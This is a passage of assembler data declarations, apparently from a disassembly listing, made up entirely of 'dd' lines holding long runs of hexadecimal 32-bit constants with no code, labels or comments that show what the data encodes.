		dd 0F6D4D112h, 0EDBC00B6h, 68DAAB5Eh, 210C3B48h, 369C08D9h
		dd 0F9D5EE00h, 12FAD79Bh, 607351C4h, 0D638D2ACh, 1685D69h
		dd 0FC890900h, 401B8C20h, 0C61A3613h, 1058CFF0h, 91EE0244h
		dd 183F79C0h, 0DD500BCBh, 94A1D0F2h, 7484964Fh,	5F1F3418h
		dd 7181B4D4h, 0B6E18121h, 49158436h, 0F43DECDBh, 0D465FA9Fh
		dd 0EF8168BAh, 634AFEBDh, 78E801BCh, 14184F8Dh,	1C88C90Ch
		dd 777812F0h, 0A961185Dh, 271F4F51h, 0A080BE93h, 0F42C8C49h
		dd 2A90A0F7h, 2008B883h, 2816AE9Ah, 8864721Eh, 0ED295480h
		dd 0EFDCE489h, 539FCC20h, 0D02264C4h, 90219300h, 0B3041CBCh
		dd 3CDF4966h, 9B42E983h, 23889195h, 0F2A472C8h,	79D03354h
		dd 0E89834EDh, 15C4C640h, 0E8DA681Eh, 0A09D009Ch, 0CAEBD055h
		dd 614EF0Bh, 0A46484DDh, 9378EA60h, 0A8084F2Bh,	1E10CB11h
		dd 986239F2h, 0DD895F6Ah, 5D3D0065h, 450BACF9h,	927E79FDh
		dd 898DDF14h, 1FC4C08Ch, 99DCC75Ch, 968A45Ch, 981BB4ACh
		dd 733B40A4h, 2C872CF7h, 8583578h, 9B00CAC4h, 98E45625h
		dd 5876E7EFh, 0CBBA190Bh, 52DFF490h, 683B5B30h,	93ED415h
		dd 0BBC54467h, 34983C46h, 8D070C46h, 68CAEF99h,	0E4037C4h
		dd 7BFC9996h, 0C007DFCh, 4897D22Fh, 265C61D3h, 83D84DCFh
		dd 0D69926B3h, 537CC1FDh, 80F0622Ch, 3FD91D1h, 0B048A6h
		dd 945C6312h, 64E8044Ch, 5EDF04C9h, 0A700C4A3h,	0BEB8651h
		dd 78581312h, 0E47017E0h, 441AC29h, 14664393h, 8223A048h
		dd 0FD27FB00h, 86870F34h, 0A7F4A545h, 47403E26h, 1D0C2802h
		dd 0B0A06A70h, 6E32AA54h, 5FB5B00h, 0B721C412h,	0FA9202D1h
		dd 0F7BC0C47h, 601F9841h, 3C985E44h, 84B1321h, 0D203BD0Ch
		dd 0EF44DF22h, 0E64C22CFh, 284A961h, 66A6620h, 0C060C85Ah
		dd 0B293D29h, 80809E70h, 9E6DEA22h, 0D21C6CD6h,	0D1C01C31h
		dd 9A090574h, 94F8CF04h, 27FDC2D0h, 66AF8903h, 0F4A445F8h
		dd 270026A2h, 30F993F5h, 0CBA38Dh, 9767B57h, 0C1284702h
		dd 0C201248h, 39AC7051h, 0BAD00035h, 5C5B5BFh, 1701AEF7h
		dd 0D13B72F6h, 88A9B8ADh, 1856D1F4h, 266213CBh,	53501D74h
		dd 838827ABh, 0CCA586CCh, 550239A4h, 65B1908Dh,	8985237h
		dd 0A466ECD0h, 921F4026h, 65C80222h, 0B76496DDh, 0FB80C880h
		dd 6D249A44h, 0F00928FFh, 644847D2h, 81E06759h,	0F626780h
		dd 5C7250DDh, 0B86012E9h, 9CA9C770h, 601E6016h,	11D0ED1Eh
		dd 863E3746h, 7C18B4A0h, 0F1346C23h, 2C17E26Ch,	0A7467444h
		dd 0D464AA00h, 95E3C9FDh, 41DC4830h, 241D6E3Eh,	188CD59Eh
		dd 6FB2993Ch, 3041C260h, 1699EF9h, 51B1FEACh, 525AFA37h
		dd 8CC711ECh, 5363C044h, 0E2D09DC0h, 0CEBA2513h, 2AE99C20h
		dd 714F4BE0h, 4AEEAB08h, 0C0C2C834h, 0F1ABD471h, 6CF6B00h
		dd 9197C9A5h, 0FDD70B8Bh, 0F0B08D36h, 22069CBAh, 6F774754h
		dd 169A7EE0h, 1FD8A6EFh, 48B38710h, 0DEA38367h,	2949E8B9h
		dd 52C00090h, 0A1A4CE3Fh, 4FA0A0A2h, 603A3047h,	0EEECD548h
		dd 2BD29D1Dh, 0B4233193h, 7AEE2C6h, 5C4AC09Ah, 21E02ADDh
		dd 6B584B6Ah, 80850B0Bh, 3638AF10h, 9C589E59h, 2254D01Ah
		dd 97D800ACh, 0FD6CE3B8h, 0E4006E6Dh, 83D93FFEh, 1C5AA549h
		dd 0A866DB3Dh, 0B28744B8h, 98B43AE8h, 0DB9CF340h, 90684D96h
		dd 479DB101h, 2B7E6F7Ah, 0DC128053h, 89794801h,	68210628h
		dd 0D610A9E5h, 29D6D940h, 0B0CAC80Fh, 0A9AE7018h, 800071CFh
		dd 9BD2BDACh, 0AD13EEh,	640E42AAh, 0F2F673ABh, 20EEB490h
		dd 274C4B40h, 54A39FE5h, 61724F40h, 34BCF313h, 0AFEE4404h
		dd 0A5FD5A0Fh, 63337001h, 41286259h, 479EE4A8h,	21873636h
		dd 0E9D33A49h, 4218EB96h, 0C908B610h, 3926105Ah, 46744080h
		dd 193B0058h, 0A4AFF653h, 0CCB0BCh, 821DC618h, 0CFBAD927h
		dd 3C01C24Ah, 5E3F5194h, 0B0FC8C34h, 0CE81050Dh, 0C8A1B554h
		dd 0D100334Ch, 75ECE88Eh, 14963DD4h, 0BCA2AE82h, 58B94E88h
		dd 1FE012F0h, 523AC8Ah,	0E4999A01h, 3E18A5CAh, 182F388h
		dd 0C4E46B9Ah, 0D7EB7651h, 6358A180h, 5C842605h, 5CB042F5h
		dd 71744A52h, 0D49A298h, 109978F8h, 0C813F84Fh,	0EC1880CEh
		dd 947A6478h, 1EB8F548h, 73C17443h, 0D8CAD937h,	6864CC62h
		dd 68C786CCh, 3D4AFB05h, 0DCB20A26h, 0F403FE01h, 0F8E9C81Fh
		dd 9605C61Eh, 408A48A7h
		dd 3401B006h, 56721C60h, 0DE0D099Dh, 90E51C04h,	0D7049600h
		dd 0FC298281h, 0FA04BFB8h, 6CCA9E4Ah, 27D088h, 4C082A13h
		dd 0C01D8FEh, 0FD834CDEh, 90B64471h, 0D8ED2E0Fh, 45A3901Ch
		dd 0BA268090h, 7F4090C7h, 81267B54h, 808428EDh,	6059DB6h
		dd 1C531364h, 9EFB0A15h, 0D82B09C8h, 57501481h,	882CE6h
		dd 521CB1A3h, 0D38C9Bh,	0F83AC4BAh, 0B7C8BE8Ah,	2FD99480h
		dd 240A7E48h, 0EB420674h, 3E097815h, 45EF5E8Fh,	60CCC4E0h
		dd 98357CEAh, 68C1605Dh, 0F16F2E63h, 3DED5215h,	39171294h
		dd 740EB813h, 0D23E90CAh, 7C9F4786h, 320DC07Eh,	903C774Ch
		dd 27259830h, 2438A2ABh, 513EBF0h, 0F465744Ch, 344384CDh
		dd 5420CE16h, 68AB881h,	2B52DF23h, 0C6186135h, 6D30D4F0h
		dd 44D14D85h, 81263E10h, 9E8960DFh, 5CD84446h, 0E610388Bh
		dd 36FB09B4h, 734C424h,	30BE5312h, 6D6A92C1h, 0F41FC4D8h
		dd 0B4173549h, 974C0050h, 0B123242Fh, 0B5B98A02h, 0F240F266h
		dd 584CA487h, 9E80F46Dh, 68C33BA6h, 75D25E05h, 0C410FAEAh
		dd 8CB3B83Ch, 83CF77Bh,	0E4A792E0h, 0CF4A00D1h,	6D23C910h
		dd 701E5E00h, 0F1D6C0D2h, 0DDE8304Ch, 0E22F5021h, 0FC199496h
		dd 14218588h, 30A53C42h, 8C1778EBh, 438104Fh, 78F3001Bh
		dd 43B98969h, 0FE2E2E5Dh, 300A346Ah, 49084C12h,	43949ECDh
		dd 50DFFFD3h, 700026A3h, 0C404BFA1h, 545ADD4Fh,	2C3DC874h
		dd 8F4CA85h, 0A30B4CFAh, 0C4D445BFh, 0A10A6058h, 62B702BBh
		dd 0E9951286h, 2F5E2C48h, 48AEE300h, 215D130h, 0EB44000Eh
		dd 1694EAECh, 40FEF2BAh, 0D46BA624h, 8C373392h,	0CCA4B2F5h
		dd 519604F8h, 0C359976Ah, 0B39163DCh, 588C6332h, 3DE7017Ch
		dd 636BC17Bh, 0B913980h, 4E6E6F57h, 0F7674000h,	7A190D80h
		dd 0A5AD1E77h, 17E993DFh, 27284176h, 0F8569E48h, 7020BE36h
		dd 659907B7h, 0CB44B36Ch, 0FD05840Eh, 0FBE80F6Eh, 340FF45h
		dd 4F97D3B4h, 5255BE89h, 0FCE0B1FCh, 0D644E94Ch, 80D8905Dh
		dd 9143B391h, 210A02Ch,	26749167h, 79E38D2Eh, 777DACD8h
		dd 9B5B8603h, 15E63FFBh, 0E88B3679h, 1398269Eh,	58FC40C3h
		dd 7253D7A3h, 1098D148h, 2700A98Ah, 6639B826h, 0C24DCEB9h
		dd 9493050h, 1C40E852h,	0C0D9EA27h, 816D792h, 1504C3ABh
		dd 0A8019E38h, 37F810C0h, 7C861D8Ah, 0F3D68426h, 1B4CC1A3h
		dd 0B820A682h, 2092024h, 834C86Fh, 0E762014Ah, 0C495B5E3h
		dd 6DC89239h, 1E075CB4h, 4F978636h, 0D70B5A76h,	0E5BE7F00h
		dd 8731DF6Eh, 0B3FAC8EBh, 9648D200h, 0A4B47050h, 3F4FB106h
		dd 0C1071FEh, 0BC7AECCAh, 295F828h, 0C0D29B54h,	0FC3F5224h
		dd 0D429C27Ch, 0F8C4C346h, 0C510B318h, 80ADEDC8h, 0EC4F4EE0h
		dd 3B23742Fh, 0A7CD800h, 0BC6B4B12h, 704A8024h,	0A7630D40h
		dd 57EBAA00h, 73B6DDECh, 0F9641E7Ch, 46A57E1h, 0DDC1EE34h
		dd 0D256F528h, 9E2EA052h, 467C54D8h, 88D907BFh,	0E120ADFEh
		dd 30DD5039h, 0DA50B7AAh, 5F4D3E48h, 0C5607608h, 6FB6CB39h
		dd 20ED5CB3h, 0C9B5AE03h, 0A7C04243h, 0EE4B9473h, 70135895h
		dd 48E4C8h, 722EFD5Ah, 0BE04B7DFh, 0C84A177Ch, 5988348Bh
		dd 0F72F5AC0h, 53D90450h, 0AC3A3752h, 23604CA8h, 97B21E87h
		dd 8209539h, 2787D7C0h,	455FD2EFh, 0C0883FC7h, 1FB85B9Ch
		dd 0A6D040h, 0C00E7958h, 4CD0E655h, 0FEE9DC11h,	14A0FD30h
		dd 0E03F1745h, 9A5A8E13h, 0FE6F88CCh, 0EFF26F42h, 0A8419078h
		dd 207460C2h, 0C0D0E627h, 0E5747CD2h, 20D2DDCAh, 8B3DBCA3h
		dd 39A21C9Fh, 0D257669Eh, 7C4CE75Dh, 0DA606C62h, 0D80209DEh
		dd 88E87913h, 2CF75ADCh, 0EBED1398h, 0F12140A1h, 0A18D402h
		dd 0CEB50793h, 0A1B02582h, 332980D4h, 4E6588CAh, 840AF12h
		dd 0E642C35Eh, 0CC32257Fh, 0BE108AB0h, 5F00C0D0h, 0DF511095h
		dd 0CE1C3F7Fh, 0C7EA271h, 606D6682h, 1649CB7h, 691B3EFBh
		dd 9482E6ECh, 6630D562h, 0F8E4A37h, 0B9382EE0h,	0C7015FE7h
		dd 479E6908h, 0B4045132h, 0CD172A54h, 0C041C77Ah, 4A9F743Ch
		dd 40272D0h, 7B2C4F58h,	0C614E47Eh, 0FBD7CE89h,	0E9C009D8h
		dd 5C78EF4Ah, 0A01810A1h, 4134DCC1h, 70826927h,	0C4993108h
		dd 9D46CAEBh, 0F200E422h, 0FBF39A81h, 3A36CA93h, 0ABA6495Ah
		dd 566A4254h, 622240D2h, 0CEBA1AD5h, 1061F946h,	82A0458Ah
		dd 646954D6h, 1CE518A3h, 2E4F9A78h, 0ED15708Ch,	4EA787Fh
		dd 176BF1Eh, 20819240h,	7E186CDBh, 0C8DA2CD5h, 0A8C02C82h
		dd 8D123C68h, 0CCE44C94h, 41825583h, 6C8B204Eh,	6EC0B0C8h
		dd 72DCD0BCh, 0B434923Eh, 0E2F1441Ch, 3040E258h, 7300EF9Fh
		dd 12047E03h, 5496B6A0h, 4D1E894h, 0FCF44374h, 86E882CDh
		dd 1795A070h, 805491B0h, 17CE321Eh, 22DF0B5Dh, 84CA50B0h
		dd 0FC182C0Ch, 30BE1544h, 0D288A49Ch, 0E0A0DA66h, 0FB80D6ABh
		dd 0C4830B47h, 3040992Bh, 1CA23F08h, 0C4809856h, 0E9E55525h
		dd 304A245Ah, 9E893DF8h, 0CC5AAF38h, 18310331h,	61C58237h
		dd 41F3EC30h, 43DC20B0h, 4ABA4040h, 71DCCCD1h, 4EC0B90Fh
		dd 0C087EA47h, 1218F37Ch, 4B08A600h, 0AC3AB322h, 406A4A84h
		dd 40373228h, 0E50076CAh, 56C78DF5h, 28988543h,	2088DFBBh
		dd 702DD534h, 0FD60A0B4h, 59994A9h, 0EDC26F75h,	2304F46Ah
		dd 0F1084605h, 9E03DFD3h, 1DBE5363h, 4A154F39h,	4F944B2Ch
		dd 0E4D940A4h, 88B86D3Ch, 27A55620h, 1CC639D6h,	0C6358F04h
		dd 78E9CEB4h, 4B306E08h, 6E6C9788h, 34022800h, 448686F7h
		dd 0A839FEA9h, 30701E26h, 0AF27CD86h, 228890E2h, 0C898B0E3h
		dd 0A0711A20h, 88BBEA88h, 7E719D57h, 11181D95h,	0D48182E5h
		dd 762C602Fh, 7C188289h, 5C8A3B42h, 0D26640A4h,	0FA00C5FFh
		dd 7B0A9E45h, 11499FDh,	9CE4AF1h, 602C59F3h, 0D8A99108h
		dd 4C2E3BEFh, 0CF00BF23h, 456E6815h, 0BCA050E4h, 0D08CA190h
		dd 0B844BD14h, 30EB1EC4h, 52E98FD3h, 0ED288337h, 57F9D1C3h
		dd 545861A9h, 0E860E80Ch, 0EB008CA9h, 0FD56B62Ah, 94E99BCh
		dd 229CB96Fh, 64726089h, 9AF9D500h, 4ADEA506h, 88346583h
		dd 959C08E7h, 0A4F5282h, 7CB8C487h, 0F1E89943h,	0C3119C9h
		dd 3542442h, 7AC0CBA3h,	254DF55Ch, 3A5B7334h, 73F8A020h
		dd 0F4CA08A8h, 6021B7AAh, 3BC46027h, 0C07020CEh, 465E20BEh
		dd 0A5920F4Eh, 17B4C0B5h, 0A0EA0503h, 9E15ABCCh, 0B28189C8h
		dd 0C34A98A1h, 0CAED003Fh, 9871F1D4h, 3000826h,	0A02C3B88h
		dd 2A265846h, 0E063708Ah, 52CAD88Ch, 74DF4979h,	474B43C4h
		dd 8FE268A3h, 99C8993Ah, 0F6915810h, 0BAB18910h, 0A9C042Ah
		dd 6A863750h, 43FB89ACh, 0A47EACB2h, 58465Eh, 0A3BB179Ch
		dd 959A46CCh, 396F1C80h, 0A09D4A7Fh, 0AD3B70F0h, 3EB307EBh
		dd 30603D2Fh, 3F502A36h, 25800A27h, 0DC306594h,	2A4C88A9h
		dd 4470123Fh, 0B8556D9Dh, 7C86C8A4h, 3D4A5Ch, 0BA1D158Dh
		dd 5A3B3714h, 9994909Eh, 3240C1ECh, 0A0515494h,	696011Bh
		dd 2736B1FAh, 0F4CFC9CBh, 7D4CA547h, 3CA82454h,	83018505h
		dd 61969C04h, 0D8E97089h, 0A64C0E00h, 0C0049824h, 2EA44674h
		dd 38071345h, 0DFA1DABEh, 0F2DB895Fh, 17F064C8h, 0DC11CE8Ah
		dd 280B6D18h, 8BB4ECB3h, 5BAC119Ch, 0FA546913h,	2AB59440h
		dd 7E08901Ch, 0C2260EA4h, 3E096D40h, 0B25F2C96h, 20377C22h
		dd 0AB56D4D0h, 754F5A80h, 4F34947Ah, 0BEB404D1h, 9702B990h
		dd 9087E95Ch, 0FB03D868h
		dd 0ED495D36h, 475098D1h, 35BC70CEh, 4B15E6Ah, 8851EF98h
		dd 828813A4h, 5A4814A8h, 0D84BC86h, 0EB7009D9h,	2BACA018h
		dd 27730062h, 607D9776h, 3E01016Eh, 2F5081BFh, 48645ECAh
		dd 0D99E28D4h, 7F563E68h, 38211042h, 43B09524h,	0D7882F32h
		dd 0A900585Fh, 7720B27Dh, 62BE6975h, 0B3ADA8FFh, 0E4646509h
		dd 39286056h, 0EE4815B0h, 8A73885Dh, 4D445047h,	0B4943A60h
		dd 27D25100h, 23569F35h, 0EE472454h, 0E44C8B68h, 38103C79h
		dd 4B1D380h, 442E96CEh,	5042C0D4h, 18610926h, 445100D7h
		dd 6C3B4DF3h, 0D9E34C0Ch, 44BA4F51h, 0BDCEE20h,	428F3D60h
		dd 0CBE43CE5h, 0DCB5FF60h, 0B563D8A2h, 73355115h, 4F28E0B4h
		dd 81960DFh, 4B4C5E53h,	8D29A300h, 3AC9BD7Dh, 7B8B03E8h
		dd 10E14E68h, 574290AFh, 670E204Ch, 8060BEDBh, 0B24B48BAh
		dd 0D01C5875h, 7AC39D06h, 0D4075065h, 0AF5854E3h, 9BDEE180h
		dd 48B80047h, 243311A6h, 8830FBCAh, 0F85E2053h,	2B8E143Dh
		dd 86E120C4h, 0FE61844h, 19456C66h, 0CBCDB4C0h,	0D5012F28h
		dd 1D5EC88Bh, 0D98061B3h, 28D337Eh, 7CA431E7h, 0A15744h
		dd 0BA3F8D2Bh, 0DF65AB60h, 79CB3707h, 0E84039C9h, 69831Ch
		dd 0E74CCD4Eh, 0DBDA6D2Bh, 805E4B38h, 5F37DE51h, 3EBA4C1h
		dd 457719D8h, 0E3B01C57h, 0AE392EEAh, 0D0CF8665h, 774880F2h
		dd 34D6148Eh, 0CA00A07Fh, 0D08A6222h, 0B8A0828Bh, 110046A2h
		dd 80E80143h, 0D85CDBE0h, 629F6018h, 7B81C4A0h,	0CEB5E914h
		dd 789CCC2Ch, 113443AFh, 0DC408294h, 378942A8h,	81742066h
		dd 10584906h, 8EC344h, 8BDFC6E1h, 3DFB48B7h, 6078E958h
		dd 4E8FCD80h, 50C8285Fh, 2D4C0084h, 97C3BBDFh, 7B301187h
		dd 23C0A93Fh, 0DFC0C76Ch, 0CCE2ECCh, 39A627C6h,	80EBD20Ah
		dd 0DB16F448h, 8A6D1E0Eh, 4D8AB018h, 4030CAE8h,	6F4AD925h
		dd 21FB584Ch, 0E150B034h, 0C019FC08h, 0E7068D2Fh, 5A225146h
		dd 8D27A500h, 5F7329D0h, 0F30B03EDh, 64477B9Eh,	785E2003h
		dd 88517AE9h, 0CDDC7FDh, 0AEB45453h, 0BE16DF41h, 0F114F916h
		dd 0B0152B04h, 0C4214A8h, 3963D218h, 0B9145F95h, 10B097A4h
		dd 0D4058A68h, 7526CDBh, 0C6BF8384h, 0B4364853h, 46E03976h
		dd 8D310217h, 3141E708h, 1E82654h, 0EA27123Ch, 70910ED1h
		dd 6AB41846h, 58B0E029h, 25029F3Ah, 0E866A442h,	0D8E7B140h
		dd 5681D49h, 0C68E4AF6h, 2C408C5Ch, 0D3362103h,	5A82190Fh
		dd 805709CBh, 21FB0C21h, 22D2509h, 0E8CCA7E9h, 0E48F833Bh
		dd 0E9C75FE7h, 81310027h, 804A7427h, 9B9D6B11h,	0CBAD420h
		dd 0A2CC487Ah, 21C04108h, 39B950Eh, 68F00033h, 37D2A678h
		dd 4731A5D5h, 0A924A166h, 249258E8h, 22C6F0Fh, 0B77984BEh
		dd 851CC91h, 0C52D0CDEh, 0D3103C52h, 8BEBD018h,	0D81D47A8h
		dd 0D213CE30h, 0C6381E0Fh, 0A5DDA315h, 5672D19Fh, 44CC6430h
		dd 534CF75Ch, 54371198h, 2E981F39h, 9816401Dh, 0B7344E50h
		dd 9EB6A40h, 44B47BF0h,	997A9800h, 0E824CD36h, 5E817C73h
		dd 91FB594Ah, 0A011204Fh, 7ECB87ADh, 66310029h,	0C793E3C4h
		dd 0CFD52B80h, 0A414665h, 11EC5E84h, 2104808Fh,	8C17D335h
		dd 0B6044h, 69AA21FCh, 90F6E148h, 922ADA05h, 0D0405673h
		dd 79283480h, 8C1A0012h, 0B0E8E5Dh, 5C041701h, 0AFE8D2B3h
		dd 68060495h, 7708E7B7h, 63E334D3h, 0F4348718h,	90A0196Ah
		dd 21080118h, 0C4FFD334h, 0F90E4058h, 24848321h, 11341ED0h
		dd 0E0560C3Ch, 384958h,	0C00399CBh, 8EC3D82Ch, 7B7878D4h
		dd 9EA7240h, 8094CFE0h,	0D6E55000h, 0C8908864h,	4C4410C0h
		dd 0C05B46FEh, 8A217E51h, 0FF03E59Dh, 7DD626Eh,	74A36Fh
		dd 8A191721h, 0C528707Dh, 8D39EF05h, 4820EC56h,	0D03AFE7Eh
		dd 9532D8F0h, 4616568h,	0F93C4869h, 8A26028Ch, 6F17E598h
		dd 1C107619h, 67048A1Eh, 0ADFA7CD1h, 63D06081h,	3C48EC36h
		dd 2E40943Dh, 80E8734Ch, 5F4B3F8h, 5DC80C90h, 91195174h
		dd 9FF5E500h, 0FE03C014h, 3A9C7985h, 0A8E660B6h, 330A3006h
		dd 0F4597BE8h, 577318BCh, 0F8FEEF41h, 0A9DF03E7h, 49A27BF4h
		dd 3D3361D8h, 9CC5D48h,	2452E0E9h, 1CDCCD00h, 231743C8h
		dd 9B99012Bh, 189AD424h, 910A883Fh, 0B30D9B0Bh,	0B400104Eh
		dd 9C5C0114h, 1D391FF1h, 0C4B8CD90h, 3706E050h,	4066E971h
		dd 0AC215888h, 4C308A10h, 47A114F8h, 101094F0h,	286468A4h
		dd 553E4164h, 8456CBC8h, 4BEA20D8h, 0DEFAEB03h,	0A2FB73CCh
		dd 0F36CE0A8h, 1DCB2A7h, 2F31C32Ch, 20013582h, 4C928D88h
		dd 0B0E83B39h, 9DE35070h, 55D03350h, 49CA6DD1h,	0D8338448h
		dd 647CFB26h, 8542194h,	2C832CCEh, 71B318B0h, 1B3FC138h
		dd 81B689E8h, 0DD0C0289h, 6C54E0AFh, 15CC8057h,	0BB9E0700h
		dd 568BD9C6h, 597C6AE3h, 146384Ch, 0E59B8A1Fh, 0B6EEFh
		dd 0F58A1719h, 3B8F5687h, 3A02C926h, 4536E981h,	6245FC9Eh
		dd 7891C419h, 0C4238FFCh, 0FCC4E597h, 8D723C48h, 0C8981B1Dh
		dd 0FB1EDB7Fh, 5B81B492h, 66C8BEE5h, 8870B864h,	0E10BA3DFh
		dd 84511859h, 1A326734h, 118D3030h, 8849E705h, 0C2A49E56h
		dd 0E4A01A8Dh, 9024B28Bh, 0D11C0042h, 54B6CF31h, 0AE6BC7Dh
		dd 61850FF4h, 0A9111FCh, 0E873C833h, 21C052BBh,	7184A183h
		dd 1101875h, 0D81AA7D6h, 0E479CC65h, 0E4098DDDh, 330A1820h
		dd 0F0CEA910h, 244464D2h, 8E3455C5h, 0A3E07E2Ah, 86F0893Eh
		dd 9C7B9B24h, 0E06BA63Ah, 46CF3A42h, 0EB72092Ch, 388A4B38h
		dd 198D1830h, 6CA115D2h, 69C80F7Ah, 0D4A9C7C0h,	98DB54C0h
		dd 0A6092A3Dh, 0FAC607A4h, 9212B4D5h, 7C6B7CD3h, 1FB6823h
		dd 0E5968A24h, 88731807h, 8A001C1Eh, 0B7BFC47Ah, 48D06A09h
		dd 848AC8CFh, 4417A5FCh, 3B805591h, 0D1571307h,	0C10F4602h
		dd 81637E38h, 9AE987A4h, 49F48C34h, 0B41888CAh,	0CEDB4166h
		dd 0A5C78802h, 0E04680F9h, 2549F5BCh, 9829DD6Dh, 5813091h
		dd 30547C0Eh, 0A0513334h, 48C1CA0h, 0E7038D36h,	205B6219h
		dd 308D2E9Eh, 72DF003h,	8796F6A7h, 5CC4DBF1h, 0F5AB7980h
		dd 88B2808Ch, 0E1494A0h, 2EE94800h, 36F8333Dh, 14174827h
		dd 48AF910h, 57B4F3D4h,	8F5D8021h, 1436CAA8h, 59C810B4h
		dd 20DC6D13h, 0B3D8D57Ch, 903D7840h, 455D2628h,	881E8928h
		dd 0C760E004h, 0A3627428h, 303EB240h, 0AE3F08DDh, 0ED8D8E0Ch
		dd 77CF61DCh, 5030193Ch, 2282C92h, 0EC9180ECh, 0F47B810Dh
		dd 7824794Ch, 4B256F04h, 28906546h, 3F5F92C7h, 0DA878D67h
		dd 53D2F0B9h, 0C80C750Bh, 0A89BCF98h, 977B8C2Dh, 0AAD42211h
		dd 0C874788h, 1A409B8Fh, 90D26A9h, 286C8913h, 12C2E48Ah
		dd 8BB5037Eh, 0CAA048CBh, 0E0137491h, 0F88F075Fh, 42FE8388h
		dd 0D43AF483h, 0C2003D23h, 0C137FD18h, 0F0B860F7h, 5A30FBD2h
		dd 846568D7h, 65C834CAh, 0F74855C0h, 0BB910926h, 9482CB14h
		dd 0E51056D8h, 5FC42EDEh, 60FAC4E0h, 23998A25h,	74111FE5h
		dd 8A1D1B00h, 0DEED063Ch, 39603813h, 2D105C1Dh,	49B37050h
		dd 0C501C46Bh, 0BF2181ACh, 24A6F4E5h, 9F6DA300h, 0E8D33E10h
		dd 0CE89E5Fh, 0EF616347h, 0F7E21E00h, 0C6A75723h, 3EB10118h
		dd 0D0D32FBFh, 7C3C14h,	801940F8h, 50814661h, 0CB984Ch
		dd 2534939Ch, 95DDC40Fh, 141F0327h, 0E154580h, 0CF6088B0h
		dd 16372EE0h, 0E703A83Bh, 0CB50EBE4h, 71F10464h, 8076B2E1h
		dd 8FE0D354h, 94498E4Fh
		dd 515CC03Ch, 0C52C11E6h, 0C8D3050Ah, 14086107h, 91A0B252h
		dd 11210230h, 8807D333h, 0FA0D855Fh, 0B8948021h, 89004651h
		dd 6C45ACF6h, 24AAF556h, 8E445372h, 7CC33B8Ch, 0E9C86939h
		dd 0E11861FAh, 81B86E0Eh, 1DB4A4E0h, 71BF0987h,	152CC019h
		dd 0F8D5EC98h, 0E97840C7h, 755B1015h, 18D01A80h, 0A5C80331h
		dd 0C6978888h, 8256455Ch, 72FD2D91h, 64C8428Fh,	7170FBF0h
		dd 805D5041h, 0B6C900BEh, 0C6E1BF32h, 0C8988CE3h, 8FDF2D3Eh
		dd 5D8ECBF4h, 97F4048h,	4C655F31h, 7E606AE4h, 3062CF85h
		dd 0A069B349h, 0C3ECACECh, 0AA0D0058h, 0F6B1306h, 0D205E621h
		dd 97156D99h, 0B8A728D8h, 4B9D4494h, 5E3BD816h,	0B384FC28h
		dd 0CE5F05F8h, 7488424Dh, 48EA6CF3h, 0D39470B0h, 28AC613h
		dd 727F8804h, 0C8E25645h, 4F55C5BCh, 6C76F8ACh,	3E0153E2h
		dd 138C6298h, 0F830447Ch, 0E4825471h, 0BE4D44DEh, 3347051Ah
		dd 48A80249h, 0AC205B56h, 6746744Ch, 14AC777Fh,	1C6C47B8h
		dd 7F80773Ch, 101DD940h, 7C0095E7h, 1491A06Bh, 2A4E647Ah
		dd 7C052B4h, 37B601ADh,	0E1B0002Dh, 131EEC3Ch, 20402BCBh
		dd 28A26A4Dh, 2F8E4E8Ch, 732384h, 22779182h, 0F428EBA6h
		dd 9A45D46Eh, 3094C442h, 30132105h, 14381FD3h, 21FD000Ah
		dd 6474FA63h, 0F709FC50h, 0E808D73h, 0FCAA8A74h, 0A8349F0Ah
		dd 462C0BF6h, 0D8186AC4h, 6B00A9F8h, 0CAF21EC2h, 1DEA5A31h
		dd 1F2F29D1h, 64D21CE0h, 118960C8h, 20904817h, 61BBE0A0h
		dd 53405091h, 0C45D83E8h, 5295E919h, 789F5805h,	22181866h
		dd 0E9187653h, 0EA60442Ah, 362800CBh, 0C801B40Dh, 2C98A680h
		dd 72586722h, 0DF01F3E0h, 0C893C89Bh, 1338334Ch, 2C218EBFh
		dd 0B19349DBh, 2D5F1FD0h, 5711B09Dh, 0A613899Ch, 0C4E23881h
		dd 1303C07h, 0E0E7A4D5h, 689D4DBEh, 871697CFh, 0AF08C164h
		dd 4B188E6Fh, 0D8265FC0h, 44829941h, 0DBF133F1h, 871806EFh
		dd 0E15CE2E9h, 2CDE7B3Fh, 0DD03B8DCh, 82551178h, 38044132h
		dd 0D5D0FC65h, 0CAE90295h, 7D33E0D2h, 0D40230B2h, 0AE205DE7h
		dd 9E37E032h, 0CB5E9668h, 363DD88h, 6DD9F929h, 21E8C994h
		dd 4866D5DCh, 3C40E6E4h, 68B77D5h, 2FE8CCA3h, 5E17206Bh
		dd 0A4285349h, 30138343h, 0F441B4F6h, 5224C6E5h, 0DB2834h
		dd 65AD72CDh, 96029CCFh, 0B04EE8B9h, 0AEC42043h, 0D78D6169h
		dd 0FB0062C1h, 0E35E10E7h, 0D226CC02h, 79DC591Eh, 0E0E81868h
		dd 78A0B0B9h, 0EBD20CCEh, 0E3E83044h, 16529178h, 3373E22Ch
		dd 3F973E88h, 0BC13E401h, 32E8E95Bh, 1D31A42Ch,	874DB8E0h
		dd 61D44C69h, 0E706D84Ah, 10201C1Ah, 0C0AE3A11h, 0FEAFC133h
		dd 13537864h, 955E48FBh, 0C8D4CB24h, 0E779C03Eh, 0A4B67036h
		dd 17C03E49h, 31BBE834h, 75DBF64h, 0AC81E7A4h, 1C0371D6h
		dd 1289023h, 0D4219B9Ch, 884218B2h, 9B00940Dh, 1BD7F6D3h
		dd 4C32DEB4h, 0CF10382Dh, 3E5C757Eh, 8B4F10B8h,	18A06689h
		dd 8187D053h, 8414C182h, 74BC80A4h, 45046A46h, 90B4D785h
		dd 62E35644h, 0E00821D3h, 26E48150h, 78051FF5h,	0D7E00824h
		dd 16C61E7Bh, 0CEB04E64h, 0FA0784A8h, 27F9C590h, 5AB16AC0h
		dd 0E6F8E938h, 7D992CD7h, 6D909DBh, 3F46C802h, 0E8C87305h
		dd 0FD6900A4h, 8352B31Ah, 0E7082B72h, 205C7AE8h, 80475494h
		dd 0D6CF12BFh, 0D2B44F1Ch, 0E029A8C4h, 6A12B668h, 0CC2B775h
		dd 98D0B02Ch, 0D425109Bh, 9009E092h, 333A009Bh,	0C746E683h
		dd 0CB000D5Bh, 0D306419Eh, 5F0F6DF9h, 80BC0985h, 0E15FEC98h
		dd 0B0399620h, 5C433E4Ch, 4944D840h, 0E7E816D5h, 1D044077h
		dd 5CEBD464h, 97B82761h, 51EA08C6h, 0FD568528h,	10F0F79Eh
		dd 3DFC0CC8h, 28DB008Ch, 87C33880h, 0D06191A1h,	0BFCA5171h
